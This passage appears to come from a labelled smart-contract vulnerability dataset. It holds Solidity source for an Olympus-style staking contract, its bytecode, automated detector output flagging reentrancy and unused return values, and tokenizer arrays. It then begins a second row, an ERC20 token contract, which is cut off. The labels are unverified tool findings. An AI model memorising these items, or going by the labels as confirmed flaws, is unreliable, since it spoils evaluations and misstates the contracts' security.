if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } function addressToString(address _address) internal pure returns(string memory) { bytes32 _bytes = bytes32(uint256(_address)); bytes memory HEX = "0123456789abcdef"; bytes memory _addr = new bytes(42); _addr[0] = '0'; _addr[1] = 'x'; for(uint256 i = 0; i < 20; i++) { _addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)]; _addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)]; } return string(_addr); } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } interface IOwnable { function manager() external view returns (address); function renounceManagement() external; function pushManagement( address newOwner_ ) external; function pullManagement() external; } contract Ownable is IOwnable { address internal _owner; address internal _newOwner; event OwnershipPushed(address indexed previousOwner, address indexed newOwner); event OwnershipPulled(address indexed previousOwner, address indexed newOwner); constructor () { _owner = msg.sender; emit OwnershipPushed( address(0), _owner ); } function manager() public view override returns (address) { return _owner; } modifier onlyManager() { require( _owner == msg.sender, "Ownable: caller is not the owner" ); _; } function renounceManagement() public virtual override onlyManager() { emit OwnershipPushed( _owner, address(0) ); _owner = address(0); } function pushManagement( address newOwner_ ) public virtual override onlyManager() { require( newOwner_ != address(0), "Ownable: new owner is the zero address"); emit OwnershipPushed( _owner, newOwner_ ); _newOwner = newOwner_; } function pullManagement() public virtual override { require( msg.sender == _newOwner, "Ownable: must be new owner to pull"); emit OwnershipPulled( _owner, _newOwner ); _owner = _newOwner; } } interface IsOHM { function rebase( uint256 ohmProfit_, uint epoch_) external returns (uint256); function circulatingSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function gonsForBalance( uint amount ) external view returns ( uint ); function balanceForGons( uint gons ) external view returns ( uint ); function index() external view returns ( uint ); } interface IWarmup { function retrieve( address staker_, uint amount_ ) external; } interface IDistributor { function distribute() external returns ( bool ); } contract OlympusStaking is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; address public immutable OHM; address public immutable sOHM; struct Epoch { uint length; uint number; uint endBlock; uint distribute; } Epoch public epoch; address public distributor; address public locker; uint public totalBonus; address public warmupContract; uint public warmupPeriod; constructor ( address _OHM, address _sOHM, uint _epochLength, uint _firstEpochNumber, uint _firstEpochBlock ) { require( _OHM != address(0) ); OHM = _OHM; require( _sOHM != address(0) ); sOHM = _sOHM; epoch = Epoch({ length: _epochLength, number: _firstEpochNumber, endBlock: _firstEpochBlock, distribute: 0 }); } struct Claim { uint deposit; uint gons; uint expiry; bool lock; // prevents malicious delays } mapping( address => Claim ) public warmupInfo; /** @notice stake OHM to enter warmup @param _amount uint @return bool */ function stake( uint _amount, address _recipient ) external returns ( bool ) { rebase(); IERC20( OHM ).safeTransferFrom( msg.sender, address(this), _amount ); Claim memory info = warmupInfo[ _recipient ]; require( !info.lock, "Deposits for account are locked" ); warmupInfo[ _recipient ] = Claim ({ deposit: info.deposit.add( _amount ), gons: info.gons.add( IsOHM( sOHM ).gonsForBalance( _amount ) ), expiry: epoch.number.add( warmupPeriod ), lock: false }); IERC20( sOHM ).safeTransfer( warmupContract, _amount ); return true; } /** @notice retrieve sOHM from warmup @param _recipient address */ function claim ( address _recipient ) public { Claim memory info = warmupInfo[ _recipient ]; if ( epoch.number >= info.expiry && info.expiry != 0 ) { delete warmupInfo[ _recipient ]; IWarmup( warmupContract ).retrieve( _recipient, IsOHM( sOHM ).balanceForGons( info.gons ) ); } } /** @notice forfeit sOHM in warmup and retrieve OHM */ function forfeit() external { Claim memory info = warmupInfo[ msg.sender ]; delete warmupInfo[ msg.sender ]; IWarmup( warmupContract ).retrieve( address(this), IsOHM( sOHM ).balanceForGons( info.gons ) ); IERC20( OHM ).safeTransfer( msg.sender, info.deposit ); } /** @notice prevent new deposits to address (protection from malicious activity) */ function toggleDepositLock() external { warmupInfo[ msg.sender ].lock = !warmupInfo[ msg.sender ].lock; } /** @notice redeem sOHM for OHM @param _amount uint @param _trigger bool */ function unstake( uint _amount, bool _trigger ) external { if ( _trigger ) { rebase(); } IERC20( sOHM ).safeTransferFrom( msg.sender, address(this), _amount ); IERC20( OHM ).safeTransfer( msg.sender, _amount ); } /** @notice returns the sOHM index, which tracks rebase growth @return uint */ function index() public view returns ( uint ) { return IsOHM( sOHM ).index(); } /** @notice trigger rebase if epoch over */ function rebase() public { if( epoch.endBlock <= block.number ) { IsOHM( sOHM ).rebase( epoch.distribute, epoch.number ); epoch.endBlock = epoch.endBlock.add( epoch.length ); epoch.number++; if ( distributor != address(0) ) { IDistributor( distributor ).distribute(); } uint balance = contractBalance(); uint staked = IsOHM( sOHM ).circulatingSupply(); if( balance <= staked ) { epoch.distribute = 0; } else { epoch.distribute = balance.sub( staked ); } } } /** @notice returns contract OHM holdings, including bonuses provided @return uint */ function contractBalance() public view returns ( uint ) { return IERC20( OHM ).balanceOf( address(this) ).add( totalBonus ); } /** @notice provide bonus to locked staking contract @param _amount uint */ function giveLockBonus( uint _amount ) external { require( msg.sender == locker ); totalBonus = totalBonus.add( _amount ); IERC20( sOHM ).safeTransfer( locker, _amount ); } /** @notice reclaim bonus from locked staking contract @param _amount uint */ function returnLockBonus( uint _amount ) external { require( msg.sender == locker ); totalBonus = totalBonus.sub( _amount ); IERC20( sOHM ).safeTransferFrom( locker, address(this), _amount ); } enum CONTRACTS { DISTRIBUTOR, WARMUP, LOCKER } /** @notice sets the contract address for LP staking @param _contract address */ function setContract( CONTRACTS _contract, address _address ) external onlyManager() { if( _contract == CONTRACTS.DISTRIBUTOR ) { // 0 distributor = _address; } else if ( _contract == CONTRACTS.WARMUP ) { // 1 require( warmupContract == address( 0 ), "Warmup cannot be set more than once" ); warmupContract = _address; } else if ( _contract == CONTRACTS.LOCKER ) { // 2 require( locker == address(0), "Locker cannot be set more than once" ); locker = _address; } } /** * @notice set warmup period for new stakers * @param _warmupPeriod uint */ function setWarmup( uint _warmupPeriod ) external onlyManager() { warmupPeriod = _warmupPeriod; } }
0x608060405234801561001057600080fd5b50600436106101735760003560e01c80638f077b83116100de578063bfe1092811610097578063deac361a11610071578063deac361a14610573578063ed4acaa814610591578063f3d86e4a146105c5578063f62ae76a146105cf57610173565b8063bfe10928146104dd578063c9f464ff14610511578063d7b96d4e1461053f57610173565b80638f077b831461040a578063900cf0cf146104145780639ebea88c14610447578063a6c41fec14610481578063a8dd07dc146104b5578063af14052c146104d357610173565b8063481c6a7511610130578063481c6a751461028a5780635a96ac0a146102be5780636746f4c2146102c85780637acb775714610337578063865e6fd31461039b5780638b7afe2e146103ec57610173565b806303c2367014610178578063089208d8146101a657806315079925146101b05780631e83409a146101e45780632986c0e51461022857806346f68ee914610246575b600080fd5b6101a46004803603602081101561018e57600080fd5b81019080803590602001909291905050506105fd565b005b6101ae6106e2565b005b6101b8610861565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610226600480360360208110156101fa57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610885565b005b610230610b02565b6040518082815260200191505060405180910390f35b6102886004803603602081101561025c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610baa565b005b610292610daf565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102c6610dd8565b005b61030a600480360360208110156102de57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f7e565b60405180858152602001848152602001838152602001821515815260200194505050505060405180910390f35b6103836004803603604081101561034d57600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fbb565b60405180821515815260200191505060405180910390f35b6103ea600480360360408110156103b157600080fd5b81019080803560ff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611323565b005b6103f4611662565b6040518082815260200191505060405180910390f35b61041261173f565b005b61041c6117eb565b6040518085815260200184815260200183815260200182815260200194505050505060405180910390f35b61047f6004803603604081101561045d57600080fd5b8101908080359060200190929190803515159060200190929190505050611809565b005b6104896118b4565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104bd6118d8565b6040518082815260200191505060405180910390f35b6104db6118de565b005b6104e5611bca565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61053d6004803603602081101561052757600080fd5b8101908080359060200190929190505050611bf0565b005b610547611cbb565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61057b611ce1565b6040518082815260200191505060405180910390f35b610599611ce7565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105cd611d0d565b005b6105fb600480360360208110156105e557600080fd5b8101908080359060200190929190505050611fb4565b005b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461065757600080fd5b61066c8160085461209b90919063ffffffff16565b6008819055506106df600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16827f000000000000000000000000a552f061d8962be4c1f6bc6b0403ca620f56933073ffffffffffffffffffffffffffffffffffffffff166121239092919063ffffffff16565b50565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107a3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fea8258f2d9ddb679928cf34b78cf645b7feda9acc828e4dd82d014eaae270eba60405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b7f000000000000000000000000a552f061d8962be4c1f6bc6b0403ca620f56933081565b61088d6126b0565b600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206040518060800160405290816000820154815260200160018201548152602001600282015481526020016003820160009054906101000a900460ff161515151581525050905080604001516002600101541015801561093057506000816040015114155b15610afe57600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600080820160009055600182016000905560028201600090556003820160006101000a81549060ff02191690555050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c3a2a665837f000000000000000000000000a552f061d8962be4c1f6bc6b0403ca620f56933073ffffffffffffffffffffffffffffffffffffffff16637965d56d85602001516040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b158015610a5757600080fd5b505afa158015610a6b573d6000803e3d6000fd5b505050506040513d6020811015610a8157600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b158015610ae557600080fd5b505af1158015610af9573d6000803e3d6000fd5b505050505b5050565b60007f000000000000000000000000a552f061d8962be4c1f6bc6b0403ca620f56933073ffffffffffffffffffffffffffffffffffffffff16632986c0e56040518163ffffffff1660e01b815260040160206040518083038186803b158015610b6a57600080fd5b505afa158015610b7e573d6000803e3d6000fd5b505050506040513d6020811015610b9457600080fd5b8101908080519060200190929190505050905090565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c6b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610cf1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806126fe6026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fea8258f2d9ddb679928cf34b78cf645b7feda9acc828e4dd82d014eaae270eba60405160405180910390a380600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e7e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806127476022913960400191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167faa151555690c956fc3ea32f106bb9f119b5237a061eaa8557cff3e51e3792c8d60405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600b6020528060005260406000206000915090508060000154908060010154908060020154908060030160009054906101000a900460ff16905084565b6000610fc56118de565b6110123330857f0000000000000000000000008a14897ea5f668f36671678593fae44ae23b39fb73ffffffffffffffffffffffffffffffffffffffff166121c5909392919063ffffffff16565b61101a6126b0565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206040518060800160405290816000820154815260200160018201548152602001600282015481526020016003820160009054906101000a900460ff1615151515815250509050806060015115611117576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f4465706f7369747320666f72206163636f756e7420617265206c6f636b65640081525060200191505060405180910390fd5b604051806080016040528061113986846000015161209b90919063ffffffff16565b81526020016112007f000000000000000000000000a552f061d8962be4c1f6bc6b0403ca620f56933073ffffffffffffffffffffffffffffffffffffffff16631bd39674886040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b1580156111b257600080fd5b505afa1580156111c6573d6000803e3d6000fd5b505050506040513d60208110156111dc57600080fd5b8101908080519060200190929190505050846020015161209b90919063ffffffff16565b815260200161121f600a5460026001015461209b90919063ffffffff16565b815260200160001515815250600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000155602082015181600101556040820151816002015560608201518160030160006101000a81548160ff021916908315150217905550905050611318600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16857f000000000000000000000000a552f061d8962be4c1f6bc6b0403ca620f56933073ffffffffffffffffffffffffffffffffffffffff166121239092919063ffffffff16565b600191505092915050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600060028111156113f157fe5b8260028111156113fd57fe5b14156114495780600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061165e565b6001600281111561145657fe5b82600281111561146257fe5b141561155557600073ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461150f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806127246023913960400191505060405180910390fd5b80600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061165d565b60028081111561156157fe5b82600281111561156d57fe5b141561165c57600073ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461161a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806126db6023913960400191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b5b5b5050565b600061173a6008547f0000000000000000000000008a14897ea5f668f36671678593fae44ae23b39fb73ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156116f157600080fd5b505afa158015611705573d6000803e3d6000fd5b505050506040513d602081101561171b57600080fd5b810190808051906020019092919050505061209b90919063ffffffff16565b905090565b600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160009054906101000a900460ff1615600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160006101000a81548160ff021916908315150217905550565b60028060000154908060010154908060020154908060030154905084565b8015611818576118176118de565b5b6118653330847f000000000000000000000000a552f061d8962be4c1f6bc6b0403ca620f56933073ffffffffffffffffffffffffffffffffffffffff166121c5909392919063ffffffff16565b6118b033837f0000000000000000000000008a14897ea5f668f36671678593fae44ae23b39fb73ffffffffffffffffffffffffffffffffffffffff166121239092919063ffffffff16565b5050565b7f0000000000000000000000008a14897ea5f668f36671678593fae44ae23b39fb81565b60085481565b43600280015411611bc8577f000000000000000000000000a552f061d8962be4c1f6bc6b0403ca620f56933073ffffffffffffffffffffffffffffffffffffffff1663058ecdb46002600301546002600101546040518363ffffffff1660e01b81526004018083815260200182815260200192505050602060405180830381600087803b15801561196e57600080fd5b505af1158015611982573d6000803e3d6000fd5b505050506040513d602081101561199857600080fd5b8101908080519060200190929190505050506119c6600260000154600280015461209b90919063ffffffff16565b6002800181905550600260010160008154809291906001019190505550600073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611ae057600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e4fc6b6d6040518163ffffffff1660e01b8152600401602060405180830381600087803b158015611aa357600080fd5b505af1158015611ab7573d6000803e3d6000fd5b505050506040513d6020811015611acd57600080fd5b8101908080519060200190929190505050505b6000611aea611662565b905060007f000000000000000000000000a552f061d8962be4c1f6bc6b0403ca620f56933073ffffffffffffffffffffffffffffffffffffffff16639358928b6040518163ffffffff1660e01b815260040160206040518083038186803b158015611b5457600080fd5b505afa158015611b68573d6000803e3d6000fd5b505050506040513d6020811015611b7e57600080fd5b81019080805190602001909291905050509050808211611ba8576000600260030181905550611bc5565b611bbb818361228690919063ffffffff16565b6002600301819055505b50505b565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611cb1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600a8190555050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a5481565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b611d156126b0565b600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206040518060800160405290816000820154815260200160018201548152602001600282015481526020016003820160009054906101000a900460ff1615151515815250509050600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600080820160009055600182016000905560028201600090556003820160006101000a81549060ff02191690555050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c3a2a665307f000000000000000000000000a552f061d8962be4c1f6bc6b0403ca620f56933073ffffffffffffffffffffffffffffffffffffffff16637965d56d85602001516040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b158015611ebc57600080fd5b505afa158015611ed0573d6000803e3d6000fd5b505050506040513d6020811015611ee657600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b158015611f4a57600080fd5b505af1158015611f5e573d6000803e3d6000fd5b50505050611fb13382600001517f0000000000000000000000008a14897ea5f668f36671678593fae44ae23b39fb73ffffffffffffffffffffffffffffffffffffffff166121239092919063ffffffff16565b50565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461200e57600080fd5b6120238160085461228690919063ffffffff16565b600881905550612098600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1630837f000000000000000000000000a552f061d8962be4c1f6bc6b0403ca620f56933073ffffffffffffffffffffffffffffffffffffffff166121c5909392919063ffffffff16565b50565b600080828401905083811015612119576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6121c08363a9059cbb60e01b8484604051602401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506122d0565b505050565b612280846323b872dd60e01b858585604051602401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506122d0565b50505050565b60006122c883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506123bf565b905092915050565b6060612332826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c65648152508573ffffffffffffffffffffffffffffffffffffffff1661247f9092919063ffffffff16565b90506000815111156123ba5780806020019051602081101561235357600080fd5b81019080805190602001909291905050506123b9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180612769602a913960400191505060405180910390fd5b5b505050565b600083831115829061246c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612431578082015181840152602081019050612416565b50505050905090810190601f16801561245e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b606061248e8484600085612497565b90509392505050565b60606124a28561269d565b612514576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416464726573733a2063616c6c20746f206e6f6e2d636f6e747261637400000081525060200191505060405180910390fd5b600060608673ffffffffffffffffffffffffffffffffffffffff1685876040518082805190602001908083835b602083106125645780518252602082019150602081019050602083039250612541565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d80600081146125c6576040519150601f19603f3d011682016040523d82523d6000602084013e6125cb565b606091505b509150915081156125e0578092505050612695565b6000815111156125f35780518082602001fd5b836040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561265a57808201518184015260208101905061263f565b50505050905090810190601f1680156126875780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b949350505050565b600080823b905060008111915050919050565b6040518060800160405280600081526020016000815260200160008152602001600015158152509056fe4c6f636b65722063616e6e6f7420626520736574206d6f7265207468616e206f6e63654f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573735761726d75702063616e6e6f7420626520736574206d6f7265207468616e206f6e63654f776e61626c653a206d757374206265206e6577206f776e657220746f2070756c6c5361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a26469706673582212200b9fe19e971992cf8680b0e49d24db3bdfac01a0134cc677dbd858768be2b3f364736f6c63430007050033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2629, 3207, 10354, 2620, 14141, 14142, 22025, 2692, 6305, 2094, 2575, 9468, 2629, 2063, 2549, 2063, 21057, 2063, 2629, 4402, 2546, 2683, 2549, 2094, 17788, 2620, 27531, 2549, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 12943, 24759, 1011, 1017, 1012, 1014, 1011, 2030, 1011, 2101, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1021, 1012, 1019, 1025, 3075, 3647, 18900, 2232, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 2804, 1997, 2048, 27121, 24028, 1010, 7065, 8743, 2075, 2006, 1008, 2058, 12314, 1012, 1008, 1008, 13637, 2000, 5024, 3012, 1005, 1055, 1036, 1009, 1036, 6872, 1012, 1008, 1008, 5918, 1024, 1008, 1008, 1011, 2804, 3685, 2058, 12314, 1012, 1008, 1013, 3853, 5587, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,880
0x95df06f0d157d176cb8966e73772684f9fcce8d3
// SPDX-License-Identifier: Unlicensed //We are Shiba hunter, wandering in the block chain, hunting those so-called legends in the dark forest, and surpassing them one by one. //We will use DAO Foundation to support potential high-quality initial projects, just for one goal, surpassing all legends! pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function 